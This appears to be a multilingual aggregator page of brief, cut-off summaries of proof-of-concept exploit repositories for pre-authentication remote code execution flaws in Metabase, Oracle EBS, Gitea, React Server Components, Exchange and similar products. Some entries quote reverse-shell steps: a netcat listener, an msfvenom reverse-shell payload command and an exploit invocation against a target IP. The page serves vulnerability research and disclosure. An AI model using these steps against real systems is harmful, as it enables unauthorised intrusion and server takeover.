CVE-2023-38646

Metabase 预认证RCE POC - CVE-2023-38646 Metabase开源版0.46.6.1之前及Metabase企业版1.46.6.1之前存在漏洞，允许攻击者在服务器上执行任意命令。我直接编写了脚本以在攻击者机器上获取反向shell。 用法 该脚本需要目标URL、攻击者IP和端口。此漏洞利用无需提供设置令牌，因为脚本会尝试从 /api/session/properties 获取它。 确保在攻击者机器上启动netcat监听器，使用以下命令： nc -nlvp Port 运行POC脚本时使用： -u - 目标URL Metabase -ip - 攻击者IP -p - 端...

Blackash-CVE-2025-61882

🛡️🚨 CVE‑2025‑61882 — Esecuzione Remota di Codice Critica Pre‑Autenticazione in Oracle E‑Business Suite EBS 🚨🛡️ Riepilogo breve: Esecuzione remota di codice critica pre‑autenticazione in Oracle E‑Business Suite EBS — interessa le versioni 12.2.3 → 12.2.14, CVSS 9.8 , sfruttata attivamente in natura...

CVE-2025-61882-Oracle-E-Business-Suite-Pre-Auth-RCE-Exploit

CVE-2025-61882 - Exploit RCE Pre-Auth Oracle E-Business Suite Una vulnerabilità critica di Remote Code Execution RCE pre-autenticazione in Oracle E-Business Suite versioni 12.2.3–12.2.14 consente agli attaccanti di ottenere il pieno controllo dei server vulnerabili tramite richieste HTTP malevole...

CVE-2024-50629_50631

CVE-2024-5062950631 Sfruttamento RCE pre-autenticazione N-day di Synology BeeStation. Dettaglio: https://kiddo-pwn.github.io/blog/2025-11-30/writing-sync-popping-cron https://github.com/user-attachments/assets/8e2ef59c-4f60-4308-8cd4-6d7ce0ba72e1 root@kitploit: $ python3 poc.py 192.168.88.248...

MetabaseRCE_CVE-2023-38646

Metabase Pre-Auth RCE CVE-2023-38646 PoC Ein Proof of Concept zu CVE-2023-38646, ein Metabase-Exploit, der es Benutzern ermöglicht, Remote Code Execution durchzuführen, indem das in /api/session/properties gefundene Setup-Token verwendet wird, um einen base64-kodierten Payload zu senden Verwendun...

CVE-2026-60004-POC

CVE-2026-60004 — Esecuzione remota di codice in Gitea senza autenticazione CVSS 9.8 root@kitploit: ┌──────────────────────────────────────────────────────────────┐ │ CVE-2026-60004 │ Gitea Pre-Auth RCE │ CVSS 9.8 CRIT │ │ diffpatch → git hook injection │ v1.17–1.27.0 affected │...

Unihackers---CVE-2025-55182-

ITALIAN GANG React2Shell PoC Questo repository fornisce un ambiente minimale intenzionalmente vulnerabile per testare gli scanner di sicurezza contro la recente vulnerabilità critica di RCE React2Shell che interessa React Server Components e Next.js. CVE-2025-55182 : Esiste una vulnerabilità di...

CVE-2020-0796

CVE-2020-0796 CVE-2020-0796 설명 및 취약점 연구 - 초보자를 위한 CENG325 학기 프로젝트 어떻게 익스플로잇할까? 리버스 셸을 위한 페이로드 생성: msfvenom -a x64 --platform windows -p windows/x64/shellreversetcp LHOST= LPORT=5555 -f python 리스닝 포트: nc -lvnp 5555 익스플로잇 코드 실행: python3 exploit.py -ip TARGETIP PoC 저장소...

flight-risk

flight-risk flight risk /flaɪt rɪsk/ — il protocollo Flight di React è il livello di serializzazione alla base dei React Server Components. CVE-2025-55182 sfrutta una falla di deserializzazione in Flight per ottenere una RCE pre-autenticazione. Se la tua app usa RSC, è un flight risk. Toolkit di...

CVE-2026-10520

🎯 CVE-2026-10520 与 CVE-2026-10523 - Ivanti Sentry 无需认证的远程代码执行 + 身份验证绕过 作者： Ashraf Zaryouh "0xBlackash" 📌 概述 影响 Ivanti Sentry （原 MobileIron Sentry）的两个严重漏洞： CVE-2026-10520 → CVSS 10.0 - 无需认证的操作系统命令注入（以 root 权限执行 RCE） CVE-2026-10523 → CVSS 9.9 - 身份验证绕过 这些漏洞允许未认证的攻击者完全攻陷系统。 ✨ 功能特性 ✅ 简洁快速的 PoC ✅...

CVE-2026-39987-marimo-rce

CVE-2026-39987 - Marimo Pre-Auth RCE Marimo में WebSocket टर्मिनल के माध्यम से बिना प्रमाणीकरण के रिमोट कोड निष्पादन 📌 अवलोकन CVE-2026-39987 Marimo संस्करण 0.23.0 से पहले के संस्करणों को प्रभावित करने वाली एक गंभीर प्री-ऑथेंटिकेशन रिमोट कोड निष्पादन Pre-Auth RCE कमजोरी है। /terminal/ws WebSocket...

CTT-ProxyLogon-RCE-v1.0---Convergent-Time-Theory-Enhanced-Microsoft-Exchange-Exploit

CTT-ProxyLogon-RCE-v1.0---Exploit Avançado do Microsoft Exchange com Teoria do Tempo Convergente Um exploit avançado para o Microsoft Exchange Server CVE-2021-26855, CVE-2021-27065 aprimorado com princípios da Teoria do Tempo Convergente, alcançando uma classificação teórica quase perfeita por me...

CVE-2025-54322

CVE-2025-54322 - Scanner de RCE Pré-Autenticação XSpeeder SXZOS Um scanner de vulnerabilidade multi-thread para CVE-2025-54322, uma vulnerabilidade de execução remota de código não autenticada no firmware XSpeeder SXZOS afetando 70.000+ hosts globalmente. 📋 Índice Sobre a Vulnerabilidade...

CVE-2025-55182

CVE-2025-55182 - React2Shell RCE pre-autenticazione in React Server Components. Riepilogo della CVE Esiste una vulnerabilità di esecuzione remota di codice RCE pre-autenticazione in React Server Components versioni 19.0.0, 19.1.0, 19.1.1 e 19.2.0, inclusi i pacchetti react-server-dom-parcel,...

SiteCore-RCE-Detection

SiteCore-RCE-Erkennung Zur Erkennung von sitecore RCE - CVE-2021-42237 Sitecore Experience Platform Pre-Auth RCE - CVE-2021-42237 Verlässt sich auf die sitecore-Versionserkennung und die Antwort, wenn eine Anfrage an die anfällige Report.ashx mittels GET und POST gestellt wird. Das Skript nimmt...

CVE-2021-36394-Pre-Auth-RCE-in-Moodle

CVE-2021-36394-Pre-Auth-RCE-in-Moodle Introduzione alla vulnerabilità Moodle è il sistema di gestione dell'apprendimento più popolare al mondo. Inizia a creare il tuo sito di eLearning in pochi minuti! Esiste una vulnerabilità di esecuzione remota di codice non autenticata nel modulo di...

CVE-2022-26134

CVE-2022-26134 Atlassian Confluence में एक पूर्व-प्रमाणीकृत RCE भेद्यता CVE का सारांश Confluence Server और Data Center के प्रभावित संस्करणों में, एक OGNL इंजेक्शन भेद्यता मौजूद है जो एक अप्रमाणीकृत हमलावर को Confluence Server या Data Center इंस्टेंस पर मनमाना कोड निष्पादित करने की अनुमति देगी।...

CVE-2020-13942

CVE-2020-13942 Apache Unomi RCE pre-autenticazione Exploit di CVE-2020-13942 POST /context.json HTTP/1.1 Host: x.x.x.x User-Agent: Mozilla/5.0 Windows NT 10.0; WOW64 AppleWebKit/537.36 KHTML, like Gecko Chrome/72.0.3626.81 Safari/537.36 SE 2.X MetaSr 1.0 Content-Type: application/json...

CVE-2023-38646

CVE-2023-38646 Metabase Pre-Auth RCE Metabase open source anterior a 0.46.6.1 e Metabase Enterprise anterior a 1.46.6.1 permitem que atacantes executem comandos arbitrários no servidor, no nível de privilégio do servidor. A autenticação não é necessária para exploração. As outras versões corrigid...

CVE-2026-48907

CVE-2026-48907 — Nicht authentifizierte RCE in Joomla Content Editor JCE ≤ 2.9.99.4 Proof-of-Concept-Exploit für CVE-2026-48907 – eine CVSS 10.0 nicht authentifizierte Remote-Code-Ausführung-Schwachstelle in der Joomla Content Editor JCE-Erweiterung. Forschung vom Grayxploit Security Team...